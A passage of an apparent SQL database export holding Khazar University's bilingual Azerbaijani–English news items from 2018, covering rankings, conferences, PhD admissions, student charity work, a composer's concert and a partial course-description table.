Azərbaycanın digər bir ali təhsil müəssisəsi –&nbsp;Bakı Dövlət Universiteti 801-1000-ci yerlər arasındadır.</p><p>Əlavə məlumat üçün bu linkə daxil olmaq olar:&nbsp;</p><p><a href=\"https://www.topuniversities.com/universities/khazar-university\">https://www.topuniversities.com/universities/khazar-university</a></p>'),(5214,3025,'en','QS World University Rankings: “Khazar University is still the leading university in Azerbaijan”','New QS World University Rankings have been announced...','<p>New <em>QS World University Rankings</em> have been announced. Khazar University occupies 714<sup>th</sup> place among the best universities and rises to the first place in Azerbaijan. One more university from Azerbaijan, Baku State University, is between 801-1000<sup>th</sup> ranking bands.</p>\r\n<p>For further information:</p><p><a href=\"https://www.topuniversities.com/universities/khazar-university\">https://www.topuniversities.com/universities/khazar-university</a></p>'),(5150,2993,'en','An extended meeting with participation of parents and teachers in Sumgayit “Dunya” school','An extended meeting with participation of parents and teachers was held at Sumgayit “Dunya” school...','<p>An extended meeting with participation of parents and teachers was held at Sumgayit “Dunya” school on February 23, 2018. First, a movie dedicated to “Dunya” school was demonstrated. Then Alovsat Amirbayli, Director on Public Relations and Media of Khazar University and the Founder\'s representative in Sumgayit “Dunya” school, delivered a speech. He talked about Sumgayit “Dunya” school, school subjects and future plans.</p><p>Then parents received answers to their questions.</p>'),(5151,2993,'az','Sumqayıt “Dünya” məktəbində valideynlər və müəllimlərlə genişləndirilmiş toplantı','2018-ci fevralın 23-də Sumqayıt “Dünya” məktəbində orada təhsil alan şagirdlərin valideynləri və müəllimləri...','<p>2018-ci fevralın 23-də Sumqayıt “Dünya” məktəbində orada təhsil alan şagirdlərin valideynləri və müəllimləri ilə genişləndirilmiş toplantı keçirildi. Öncə “Dünya” məktəbi haqqında çəkilmiş film nümayiş etdirildi. Filmin nümayişindən sonra Xəzər Universitetinin İctimai əlaqələr və media üzrə direktoru, təsisçinin Sumqayıt “Dünya” məktəbi üzrə nümayəndəsi Əlövsət Əmirbəyli çıxış etdi. O, Sumqayıt “Dünya” məktəbi, orada tədris edilən fənlər və gələcəkdə görüləcək işlər haqqında geniş məlumat verdi.</p><p>Sonda valideynlərin çoxsaylı suallarını cavablandırdı.</p>'),(5152,2994,'az','Tarix və arxeologiya departamentinin müəllimi elmi konfransda çıxış etdi','2018-ci il fevralın 20-də Azərbaycan Milli Elmlər Akademiyasında İctimai Elmlər Bölməsinin və Elm...','<p>2018-ci il fevralın 20-də Azərbaycan Milli Elmlər Akademiyasında (AMEA) İctimai Elmlər Bölməsinin və Elm Tarixi İnstitutunun birgə təşkilatçılığı ilə “Azərbaycan Xalq Cümhuriyyəti: Tarixi retrospektivlik və müasirlik” mövzusunda elmi konfrans keçirildi. Konfransda Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi tarix üzrə fəlsəfə doktoru Ziyad Əmrahov “Azərbaycan Xalq Cümhuriyyəti dövründə digər millətlərə münasibət” mövzusunda məruzə ilə çıxış etdi.</p><p>Konfransın plenar iclasında çıxış edən natiq Cənubi Qafqazdakı coğrafi mövqeyi və tarixi inkişaf xüsusiyyətlərinə görə Azərbaycanın ən qədim zamanlardan müxtəlif xalqların birgəyaşayışı üçün əlverişli ölkə olduğu, hətta Azərbaycan Xalq Cümhuriyyətinin İstiqlaliyyət Bəyannaməsində insan hüquq və azadlıqlarına hörmətlə yanaşılması, ölkə ərazisində bütün millətlərə sərbəst şəkildə geniş bir meydan verdiyi, dövlət quruculuğu, xarici siyasət məsələlərində Azərbaycan Xalq Cümhuriyyəti istər parlamenti, istərsə də hökuməti formalaşdırarkən digər millətlərin nümayəndələrini də unutmadığı konfrans iştirakçılarının diqqətinə çatdırdı.</p>'),(5153,2994,'en','A lecturer of the Department of History and Archeology participates in a scientific conference','Division of Social Sciences, Azerbaijan National Academy of Sciences, and Institute...','<p>Division of Social Sciences, Azerbaijan National Academy of Sciences (ANAS), and Institute of History of Science jointly organised a scientific conference on “Azerbaijan Democratic Republic: Historical retrospective and modernity” on February 20, 2018. At the conference, Ziyad Amrahov, PhD in History, a lecturer of the Department of History and Archeology of Khazar University, delivered a report on “An attitude towards other nations in the Azerbaijan Democratic Republic”.</p><p>Delivering a report at a plenary session, Ziyad Amrahov mentioned that with its suitable geographical and historical characteristics in the South Caucasus, Azerbaijan had been a favourable country since ancient times for various nations to live in a peaceful coexistence. Moreover, the speaker stressed that the Declaration of Independence of Azerbaijan Democratic Republic respected human rights and freedom and guaranteed various peoples freedom within Azerbaijan. The speaker also underlined that Azerbaijan Democratic Republic involved other peoples in formation of government and foreign policy.</p>'),(5154,2995,'az','Ümumdünya Mülki Müdafiə gününə həsr olunmuş tədbir keçiriləcək','2018-ci il martın 1-də saat 15:30-da 206 nomrəli iclas salonunda Ümumdünya...','<p>2018-ci il martın 1-də saat 15:30-da 206 nomrəli iclas salonunda Ümumdünya Mülki Müdafiə günü münasibətilə “Mülki müdafiə və Milli Qurumlar tərəfindən Fövqəladə halların effektiv idarə olunması” mövzusunda tədbir keçiriləcək.</p>'),(5155,2995,'en','An event dedicated to World Civil Defense Day to be held','An event on \"Civil Defense and Effective Management of Emergency Situations...','<p>An event on \"Civil Defense and Effective Management of Emergency Situations by National Organs\" will be held, on the occasion of the World Civil Defense Day, on March 1, 2018, at 15:30, in the meeting hall 206.</p>'),(6229,3546,'az','PROMIG layihəsi çərçivəsində konfrans','2018-ci il oktyabrın 19-da Erasmus Plus “Universitetdə miqrasiya təhsilinin təşviqi” (PROMIG...','<p>2018-ci il oktyabrın 19-da Erasmus Plus “Universitetdə miqrasiya təhsilinin təşviqi” (PROMIG, 573554-EPP-1-2016-1-GE-EPPKA2-CBHE-JP) layihəsi çərçivəsində Xəzər Universitetində İqtisadiyyat və Menecment fakültəsi, İnkişaf və Təlim-tədris mərkəzinin təşkilatçılığı ilə “Miqrasiya və Davamlı İnkişaf” mövzusunda bir günlük məlumatlandırıcı konfrans keçirildi.</p><p>Konfransı universitetin rektoru Dr.Hassan Niknafs açaraq, iştirakçıları salamladı və konfransın işinə uğurlar arzuladı. Daha sonra İqtisadiyyat və Menecment fakültəsinin dekanı Dr.Ceyhun Məmmədov PROMIG layihəsində həyata keçirilmiş işlər, fakültədə miqrasiya və iqtisadiyyat üzrə tədris olunan fənlər və aparılan elmi araşdırmalar barədə ətraflı məlumat verdi. Beynəlxalq Miqrasiya Təşkilatının Azərbaycan nümayəndəliyinin əməkdaşı Nərgiz Kərimova dünyada gedən miqrasiya prosesləri və onların statistik nəticələri haqqında təqdimatla çıxış etdi. Xəzər Universitetinin əməkdaşları Dr.Ceyhun Məmmədov, Dr.Şəhriyar Muxtarov və Dr.Rövşən Kərimov apardıqları tədqiqatların nəticələrini konfrans iştirakçıları ilə paylaşdılar və iştirakçıların suallarını cavablandırdılar.</p><p>Bundan əlavə, konfransda Xəzər Universiteti, Bakı Mühəndislik Universitetinin tələbələri və Azərbaycan Dövlət İqtisad Universitetinin əməkdaşı professor Məhiş Əhmədov maraqlı təqdimatlarla çıxış etdilər. Həmçinin, Azərbaycan Dillər Universiteti, Azərbaycan Dövlət Pedaqoji Universiteti, Qərbi Kaspi Universiteti, Azərbaycan Texniki Universiteti, Azərbaycan Kooperasiya Universiteti, Bakı Slavyan Universiteti və Azərbaycan Dövlət Neft və Sənaye Universitetinin əməkdaşları da iştirakçı qismində konfransa qatılmışdılar.</p><p>Tədbirdə, həmçinin, Xəzər Universitetinin tərəfdaşı olduğu digər iki Erasmus+ layihələri haqqında universitetin İnkişaf Mərkəzinin direktoru Raziyə İsayeva (Beynəlxalq mobilliyə cığır açmaq və hərtərəfli keyfiyyət, uyğunluq və bərabərliyin təminatı) və Politologiya və beynəlxalq münasibətlər departamentinin koordinatoru Elmar Mustafayev (Cənubi Qafqaz və Norveçdə akademik və iş mühitində mədəniyyətlərarası qarşılaşmalar) konfrans iştirakçılarına məlumat verdilər.</p>'),(5185,3011,'az','Əlilliyi olan Tələbələr üçün Mərkəz əlilliyi olan tələbələri və məzunları əməkdaşlığa dəvət edir ','Hörmətli Xəzər Universitetinin əlilliyi olan tələbələri...','<p style=\"text-align:justify\">Hörmətli\r\n Xəzər Universitetinin əlilliyi olan tələbələri və məzunları!&nbsp;</p><p style=\"text-align:justify\">Hazırda iş\r\n axtarırsınızsa, CV-lərinizi <a href=\"mailto:rmammadova@khazar.org\">rmammadova@khazar.org</a>   e-mail ünvanına \r\ngöndərməyiniz xahiş olunur. Xəzər Universitetinin Əlilliyi olan \r\nTələbələr üçün Mərkəzi bu sahədə Sizə dəstək göstərməyə hazırdır. </p><p style=\"text-align:justify\">Hər hansı bir sualınız olarsa, e-mail və ya (012) 421-10-93 (dax. 234) telefon nömrəsi ilə əlaqə saxlaya bilərsiniz.</p><p><img src=\"http://www.khazar.org/files/ESFIDIP/disability.jpg\" style=\"border:0px #000000;float:left;margin:7px;width:700px;height:985px;vertical-align:text-bottom\"></p>'),(5186,3011,'en','Center for students with disabilities invites students and alumni with disabilities to cooperate','Dear students and alumni with disabilities...','<p style=\"text-align:justify\">Dear\r\n students and alumni with disabilities!&nbsp;</p><p style=\"text-align:justify\">If you are currently looking for\r\n a job, please send your CVs to <a href=\"mailto:rmammadova@khazar.org\">rmammadova@khazar.org</a>. Center for \r\nStudents with Disabilities at Khazar University is ready to support you \r\non this issue.  </p><p style=\"text-align:justify\"> If you have any questions, please contact us by e-mail or by phone (012) 421-10-93 (ext.&nbsp;234)</p>  <p><img src=\"http://www.khazar.org/files/ESFIDIP/disability.jpg\" style=\"border:0px #000000;float:left;margin:7px;width:700px;height:985px;vertical-align:text-bottom\"></p>'),(5949,3401,'az','Psixologiya departamentinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Psixologiya departamentinin koordinatoru və Psixoloji Xidmət Mərkəzinin direktoru...','<p>Xəzər Universiteti Psixologiya departamentinin koordinatoru və Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimovanın “<em>İncəsənətdə psixoloji təhlil nümunəsi: Professor Hamlet İsaxanlının “Yaşamağa nə var ki..!” şeirinin William Glasser-in gerçəklik terapiyasına görə təhlili</em>” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən “Filologiya məsələləri” jurnalının 2018-ci il üçün olan 11-ci sayında çap edilmişdir (ISSN 2224-9257).</p>'),(5224,3030,'en','Deputy Editor-in-Chief of “Khazar Review” participates in VII Congress of Azerbaijani journalists','VII Congress of Azerbaijani journalists was held in Baku on March 10...','<p>VII Congress of Azerbaijani journalists was held in Baku on March 10. 241 representatives from 166 members of Press Council as well as Honored Journalist Alirza Balayev, deputy editor of “Khazar Review” journal, participated in the Congress.</p><p>Ali Hasanov, Assistant to the President for Public and Political Issues, read Ilham Aliyev’s, the President of Azerbaijan, congratulatory letter to Congress participants. Aflatun Amashov, Chairman of Press Council, delivered a report on performance of Azerbaijani journalists since VI Congress.</p><p>Then, the reports of control-revision and mandate commissions was presented to the participants. The reports covered organizational issues and challenges that the council faced.</p><p>Participants had discussions on reports and talked about development of media in Azerbaijan as well as advancement of technical facilities of both print and electronic media, and measures taken to better social security of journalists. Participants appreciated performance of Press Council for reporting period.</p><p>Ali Hasanov, Assistant to the President for Public and Political Issues, delivered a speech at the Congress. Aflatun Amashov was re-elected as a Chairman of Press Council at the Congress.&nbsp;</p><p>At the end, a resolution of the Congress was adopted.</p>'),(5225,3031,'az','Xəzər Universitetində doktoranturaya imtahanlar rəqabətli şəraitdə keçmişdir','2018-ci ilin fevralında Xəzər Universitetində 16 ixtisas üzrə ayrılmış 20 plan yeri üçün...','<p>2018-ci ilin fevralında Xəzər Universitetində 16 ixtisas üzrə ayrılmış 20 plan yeri üçün (12 dissertantura, 8 doktorantura) 30 namizəd rəqabət aparmış və onlardan 18 nəfəri bu özəl təhsil ocağında gələcək tədqiqat işlərini aparmaq üçün müvəffəq olmuşlar.</p><p>Departament müdirləri və komissiya üzvləri keçirdikləri müsahibələrdə obyektivliyi gözləmiş və ən yaxşı namizədləri seçməyə çalışmışlar. Namizədlər imtahan və müsahibələrdə dərin bilik və təcrübə nümayiş etdirmiş,”əla” və “yaxşı” qiymətlər almışlar.</p><p>Ən çox rəqabətli ixtisaslar “German dilləri” (1 doktorantura yerinə 4 nəfər) və “Təhsilin təşkili və planlaşdırılması” (1 doktorantura və bir dissertantura yerinə 10 nəfər) ixtisasları olmuşlar. İlk dəfə qəbul keçirilən “Müqayisəli-tarixi və müqayisəli-tipoloji dilçilik” və “Enerji texnologiyası” ixtisaslarına qəbul da rəqabətli şəraitdə keçmişdir.</p><p>Doktorantura və dissertanturaya qəbul olan namizədlərin təqribən 40%-i Avropa və Amerikanın müxtəlif məşhur universitetlərinin məzunlarıdır.</p><p>Fəlsəfə doktorluğu üzrə namizədlərimizə müvəffəqiyyətlər arzu edirik!</p>'),(5226,3031,'en','Competitive PhD exams at Khazar University','30 candidates competed for 20 PhD vacancies on 16 qualifications at Khazar University...','<p>30 candidates competed for 20 PhD vacancies on 16 qualifications at Khazar University in February 2018. Only 18 of candidates succeeded in gaining research position at this private university.</p><p>Heads of Departments and members of commission held interviews impartially trying to choose best candidates. Candidates, who demonstrated profound knowledge and experience, were graded “excellent” and “good”.</p><p>Intense competitions were mainly observed for “German languages” and “Organization and planning of education” qualifications. Competition for “Comparative-historical and comparative-typological linguistics” and “Energy technology”, for which admission exams were held for the first time, were also competitive.</p><p>Approximately 40% of new PhD candidates are graduates of prestigious universities of European and American.</p><p>We wish PhD candidates success!</p>'),(5227,3032,'az','“Enkotek” şirkəti Xəzər Universitetində görüş keçirdi','2018-ci il martın 9-da Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə “Enkotek” şirkəti...','<p>2018-ci il martın 9-da Xəzər Universiteti Karyera Mərkəzinin təşəbbüsü ilə “Enkotek” şirkəti ilə görüş keçirildi. Əvvəlcə, şirkətin Baş direktoru Rüstəm Rüstəmov öz çıxışında tələbələrə şirkətin Azərbaycandakı fəaliyyəti, onun daxili strukturu, proyektləri, təcrübə proqramı və iş imkanları haqqında geniş məlumat verdi. Daha sonra isə şirkətin digər nümayəndəsi Proses departamentinin rəhbəri Murad Məmmədov “Mühəndislik sertifikatı/diplomu” ilə bağlı ümumi məlumat verərək, o sertifikatı qazanmağın üstünlükləri barədə danışdı. Xəzər Universitetinin məzunu və hazırda “Enkotek” şirkətinin əməkdaşı Asif Həsənli çıxışında tələbələrə “Enkotek”də işləməyin müsbət tərəfləri və şirkətin gənclər üçün yaratmış olduğu imkanlar barədə öz təəssüratlarını paylaşdı.</p><p>Mühəndislik və tətbiqi elmlər fakültəsinin dekan müavini Fəxrəndə Əlimərdanova da konfransda iştirak edirdi.</p><p>Tədbirin sonunda şirkət nümayəndələri iştirakçıların suallarını cavablandırıldı.</p><p>Qeyd edək ki, “Enkotek” mühəndislik sahəsində intizam, dizayn mühəndisliyi və məsləhət xidməti verən beynəlxalq şirkətdir.</p>'),(5228,3032,'en','Meeting with “Encotec” company at Khazar University','On March 9, 2018, Career Center of Khazar University held a meeting with...','<p>On March 9, 2018, Career Center of Khazar University held a meeting with “Encotec” company. Rustam Rustamov, CEO of the company, informed students about the company’s activity in Azerbaijan, as well as its structure, projects, internship programs and employment opportunities. Then Murad Mammadov, Head of Process Department, provided students with information on “Engineering certificate/diploma”, and talked about how to get this certificate. Asif Hasanli, a graduate of Khazar University who is currently working at “Encotec” company, talked about advantages of working for “Encotec”, and shared his impression about career development opportunities in this company. Company representative answered students’ questions.</p><p>Fakhranda Alimardanova, Vice-dean of School of Engineering and Applied Sciences, also participated in the meeting.</p><p>“Encotec” is a company specialized in discipline and design engineering which also offers consulting services&nbsp;in engineering.</p>'),(5229,3033,'az','Xəzər Universitetinin tələbələri “Bir qutu oyuncaq” layihəsini həyata keçirdilər','2018-ci il martın 11-də Xəzər Universitetinin tələbələri – Vurğun Yusubovun rəhbərliyi...','<p>2018-ci il martın 11-də Xəzər Universitetinin tələbələri – Vurğun Yusubovun rəhbərliyi, Lamiyə Piriyeva, Ayşən Yarıyeva, Şəbnəm Rüstəmli, Sanar Qasımov, Mustafa Həsənli və Azər İsmayılovun təşkilatçılığı ilə “Bir qutu oyuncaq” yardım layihəsi çərçivəsində Binəqədi rayonunda yerləşən Azərbaycan Uşaq Birliyinin Uşaq Sığınacağını ziyarət etdilər. Yardım layihəsi çərçivəsində tələbələr sığınacaqda məskunlaşan uşaqlara və yeniyetmələrə yeni kitablar, geyimlər, oyuncaqlar, qələm-dəftər kimi hədiyyələr verdilər.</p><p>Uşaqlar ilə əyləncəli vaxt keçirdiklərini bildirən 15 nəfərlik heyət bu cür ziyarətləri mütəmadi etməyi planlaşdırırlar.</p>'),(5230,3033,'en','Khazar University students implement “A box of toys” project','On March 11, 2018, Khazar University students, Vurghun Yusubov, project manager, and Lamiya Piriyeva...','<p>On March 11, 2018, Khazar University students, Vurghun Yusubov, project manager, and Lamiya Piriyeva, Ayshen Yariyeva, Shabnam Rustamli, Sanar Gasimov, Mustafa Hasanli and Azer Ismayilov, project participants, visited a child shelter of Azerbaijan Children Union in Binagadi within “A box of toys” project. Students presented new books, clothes, toys, stationery, etc. to the children and teenagers living at the shelter.</p><p>The project team consisting of 15 students had a nice time with the children and teenagers, and they are planning to implement this kind of project regularly.</p>'),(5231,3034,'az','KİM-də “Gəlin birlikdə mütaliə edək” adlı tədbir keçiriləcək','2018-ci il martın 16-sı saat 16:00-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin...','<p>2018-ci il martın 16-sı saat 16:00-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzinin təşkilatçılığı ilə “Gəlin birlikdə mütaliə edək” layihəsi çərçivəsində tədbir keçiriləcək. Tədbirin keçirilməsinin məqsədi tələbələrin mütaliəyə marağının artırılması və onlara oxu mədəniyyətinin aşılanmasının təbliğidir.</p>'),(5232,3034,'en','“Let’s Read Together” Project by LIC','A promotional workshop will be held by Khazar University Library Information Center...','<p>A promotional workshop will be held by Khazar University Library Information Center within “Let’s read together” project, at 16:00, on March 16, 2018. The aim of the project is to increase students’ interest in reading and instill reading culture into them.</p>'),(5993,3423,'az','Xəzər Universitetində Təlim-Tədris Mərkəzi yaradıldı','2018-ci il sentyabrın 12-də “Azərbaycan Universitetlərində Tədris və Təlimin Təkmilləşdirilməsi...','<p>2018-ci il sentyabrın 12-də “Azərbaycan Universitetlərində Tədris və Təlimin Təkmilləşdirilməsi” (PETRA) adlı ERASMUS+ layihəsi çərçivəsində Xəzər Universitetində Təlim-Tədris Mərkəzi açıldı. Təlim-Tədris Mərkəzi direktor və direktor müavini olmaqla, iki nəfərlik heyətdən ibarətdir. Mərkəzin yaradılmasında məqsəd Xəzər Universitetində təlim-tədris prosesinin keyfiyyətini yüksəltmək, innovativ və yeni təlim metodlarını&nbsp;tələbələrin ehtiyaclarına uyğun tətbiq etmək, təlim və tədris prosesinin tədqiqat əsaslı olmasını təmin etmək və Xəzər Universitetinin kadr və elmi potensialını artırmaqdan ibarətdir.</p><p>Təlim-Tədris Mərkəzi aşağıdakı vəzifələri həyata keçirəcək:</p><p>1. Universitetin təlim-tədris strategiyasının hazırlanmasını və həyata keçməsini təmin etmək;</p><p>2. Tələbə və müəllim heyətinin ehtiyaclarına uyğun olaraq seminar və kursların təşkilini təmin etmək;</p><p>3. Doktorant tələbələrin və gənc tədqiqatçıların tədqiqatlarının uğurlu aparılmasını təmin edəcək seminar və kursların təşkilini həyata keçirmək;</p><p>4. Müəllimlərin universitet həyatına sürətli adaptasiya olması üçün seminarlar təşkil etmək;</p><p>5. Müəllimlərin keyfiyyətli tədris aparmaları üçün zəruri təlimləri təyin&nbsp;və təşkil etmək;</p><p>6. Tələbələrin ehtiyaclarını öyrənərək uyğun seminarları təşkil etmək;</p><p>7. Doktorant tələbələrin və gənc tədqiqatçıların seminarlarını təşkil etmək;</p><p>8. Bakalavr və magistr tələbələrin akademik yazı, statistik analiz və təqdimat bacarıqlarının artırılması üçün seminarları təşkil etmək.</p>'),(5994,3423,'en','Teaching and Learning Center established at Khazar University','On September 12, 2018, within ERASMUS+ project “Promoting Excellence in Teaching and Learning in Azerbaijani...','<p>On September 12, 2018, within ERASMUS+ project “Promoting Excellence in Teaching and Learning in Azerbaijani Universities” (PETRA), Teaching and Learning Center&nbsp;was established at Khazar University. Teaching and Learning Center consists of a board of two members, Director and Deputy Director. The main aim to establish the Center is to raise the quality of education and apply innovative and new learning methods, ensure education is based on research, and increase staff and scientific potential of Khazar University.&nbsp;</p><p>Teaching and Learning Center   fulfills the following duties:</p><p>1. Prepare and implement education strategy of the University;</p><p>2. Organize workshops and courses in accordance with the needs of students and instructors;</p><p>3. Organize workshops and courses to ensure the quality of researches conducted by PhD students and young researchers;</p><p>4. Organize workshops for quick adaptation of instructors to university life;</p><p>5. Define and organize workshops to ensure quality teaching by instructors;</p><p>6. Organize workshops in accordance with the needs of students;</p><p>7. Organize workshops of PhD candidates and young researchers;</p><p>8. Organize workshops for undergraduate and graduate students to develop their academic writing, statistical analysis and presentation skills.</p>'),(6045,3450,'az','Görkəmli bəstəkar Murad Kajlayevlə görüş','2018-ci il sentaybrın 24-də Üzeyir Hacıbəyli Beynəlxalq Musiqi Festivalı çərçivəsində Xəzər Universitetinin Fikrət Əmirov...','<p>2018-ci il sentaybrın 24-də Üzeyir Hacıbəyli Beynəlxalq Musiqi Festivalı çərçivəsində Xəzər Universitetinin Fikrət Əmirov adına konfrans-konsert salonunda SSRİ Xalq artisti, Dağıstan musiqisinin banilərindən biri, ictimai xadim, görkəmli bəstəkar Murad Kajlayev ilə yaradıcılıq görüşü keçirildi.</p><p>Tədbirdə Xəzər Universitetinin və Azərbaycan Bəstəkarlar İttifaqının rəhbərliyi, bəstəkarın sənət dostları, ölkənin musiqi ictimaiyyətinin nümayəndələri, universitetin əməkdaşları və tələbələri iştirak edirdilər.</p><p>Görüş Murad Kajlayevin həyat və yaradıcılığından bəhs edən filmin nümayişi ilə başlandı. Sonra Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı tədbiri açaraq, iştirakçıları və görkəmli bəstəkarı salamladı, onun yaradıcılığı haqqında geniş məlumat verdi.</p><p>Azərbaycan Bəstəkarlar İttifaqının katibi, Əməkdar incəsənət xadimi bəstəkar Sərdar Fərəcov, teatr rejissoru, əməkdar incəsənət xadimi Əli Usubov, Xalq artisti bəstəkar Tofiq Bakıxanov, Əməkdar incəsənət xadimi Telman Hacıyev, Əməkdar incəsənət xadimi Rafiq Seyidzadə çıxış edərək, Azərbaycan musiqi mədəniyyətinin yetirməsi olan Murad Kajlayevin çoxşaxəli yaradıçılığından və vətəninin musiqisi, tarixi, zəngin folkloru ilə ayrılmaz surətdə bağlı olan əsərlərinin dünyanın bir çox ölkələrində ifa olunmasından danışdılar, bəstəkarın Bakı həyatından xatirələr söylədilər.</p><p>Bəstəkarın əsərlərindən ibarət geniş konsert proqramında onun müxtəlif janrda əsərləri ifa olundu. Xalq artisti Fəxrəddin Kərimovun dirijorluğu ilə keçən konsertdə “Xəzər” Universitetinin kamera orkestri (bədii rəhbər Zülfiyyə Sadıqova), solistlər – Əməkdar artist Səbinə Vahabzadə (vokalçı), Culiya Behbudova (vokalçı), İsrafil Rəsulov (truba ifaçısı), Səidə Tağızadə (pianoçu), Zülfiyyə Sadıqova və Azər Dəmirov (violin ifaçısı, ABŞ) maraqlı musiqi nömrələrini tədbir iştirakçılarına təqdim etdilər.</p><p>Konsertdən sonra Murad Kajlayev çıxış edərək, yaradıcılıq görüşünün təşkilinə görə Xəzər Universitetinin rəhbərliyinə, konsertin iştirakçılarına və tamaşaçılara təşəkkürünü bildirdi.</p><p>Sonda professor Hamlet İsaxanlı görgəmli bəstəkara, həmçinin dirijor Fəxrəddin Kərimova və konsertin digər iştirakçılarına hədiyyələr verdi. Murad Kajlayev Xəzər Universitetinə öz kitablarını hədiyyə etdi.</p><p>Tədbirdən Azərbaycan Dövlət İnformasiya Agentliyi – AZƏRTAC başda olmaqla&nbsp;<a href=\"https://azertag.az/xeber/Gorkemli_bestekar_Murad_Kajlayevin_muellif_gecesi_kechirilib-1197756\">https://azertag.az/xeber/Gorkemli_bestekar_Murad_Kajlayevin_muellif_gecesi_kechirilib-1197756</a>)&nbsp;ölkənin aparıcı saytları və mətbuat orqanları xəbər yaymışlar.</p>'),(6020,3439,'az','Aİ-nin Azərbaycandakı nümayəndəliyinin Birinci müşaviri Xəzər Universitetində mühazirə oxuyacaq','2018-ci il oktyabrın 4-ü saat 10:00-da Avropa İttifaqının...','<p>2018-ci il oktyabrın 4-ü saat 10:00-da Avropa İttifaqının Azərbaycandakı nümayəndəliyinin Birinci müşaviri Denis Daniilidis “Avropa İttifaqı xarici siyasətinin aktorları” adlı mühazirə ilə Xəzər Universitetində&nbsp; çıxış edəcək. Mühazirə Xəzər Universitetinin “Neftçilər” kampusundakı konfrans zalında (otaq 102N) baş tutacaq.</p><p>Maraqlanan&nbsp;hər kəs mühazirədə iştirak edə bilər.</p>'),(6021,3439,'en','First Counselor of the EU Delegation to Azerbaijan to hold a seminar at Khazar University','On October 4, 2018, at 10:00, Mr. Denis Daniilidis, First Counselor...','<p>On October 4, 2018, at 10:00, Mr. Denis Daniilidis, First Counselor of the EU Delegation to Azerbaijan, will deliver a lecture on “Actors of the EU Foreign Policy” at Khazar University. The lecture will take place in the Conference Room, Neftchilar Campus (room 102N), at Khazar University.</p><p>Anyone interested can attend the lecture.&nbsp;</p>'),(6022,2482,'az','Fənlərin Təsviri','Fənlərin Təsviri','<table cellspacing=\"0\" cellpadding=\"0\" width=\"731\">\r\n <tbody><tr>\r\n  <td width=\"96\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Kod</strong></p></td><td width=\"188\"><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;line-height:normal\"\"=\"\"><strong>Fənlər</strong></p>\r\n  </td>\r\n  <td width=\"446\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Təsvir</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR110<br></p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\">\r\n  <p style=\"text-align:center\">Siyasi Elmlərə\r\n  Giriş</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"text-align:justify\">\r\n  Bu kursun məqsədi\r\n  tələbələrə siyasi elmləri bir disiplin kimi tanıtmaq və siyasi nəzəriyyələrin\r\n  ümumi təfərrüatlarını təqdim etməkdir. Tələbələr siyasi ideologiya, siyasi\r\n  sistem, demokratik ölkələrin növləri, siyasi proseslər və siyasi iştirak,\r\n  seçkilər və səsvermə sistemləri, siyasi münaqişələr və siyasi mədəniyyət kimi\r\n  mövzuları araşdırır. Onlar siyasət elminin müxtəlif anlayışları arasında\r\n  fərqləri öyrənəcək və siyasi davranışı anlayacaqlar.</p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR150</p><p><br></p><p><br></p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\"\"=\"\"><p style=\"text-align:center\">Qədim və Orta Əsr\r\n  Sosial Siyasi Fikir Tarixi</p><p><br></p><p><br></p></td>\r\n  <td width=\"446\" style=\"text-align: justify;\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\"><p>“Qədim\r\n  və Orta əsr siyasi təlimlər tarixi”\r\n  fənni siyasət, siyasi proseslər və təsisatlar, siyasi hakimiyyətin tarixi\r\n  inkişafına aid təsəvvürlər haqqında elmdir. Cəmiyyətin siyаsi\r\n  həyаtının müхtəlifliyini və rəngаrəngliyini əks еtdirən pоlitоlоgiyаnın\r\n  bаşlıcа vəzifəsi siyаsi hаdisə və prоsеslər hаqqındа оbyеktiv, еlmi əsаslаrа\r\n  söykənən məlumаt vеrmək və bunlаrdаn ictimаi inkişаfın mənаfеyinə istifаdə\r\n  еtməkdir.\r\n  </p></td>\r\n </tr>\r\n <tr>\r\n  <td width=\"96\"><p>PSIR202</p><p><br></p></td>\r\n  <td width=\"188\" style=\"\" width:140.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:58.35pt\"\"=\"\"><p style=\"text-align:center\">Siyasi Fikrin Müasir\r\n  Sosial Tarixi</p><p><br></p></td>\r\n  <td width=\"446\" style=\"\" width:334.45pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.5pt;border-right:solid=\"\" 1.5pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 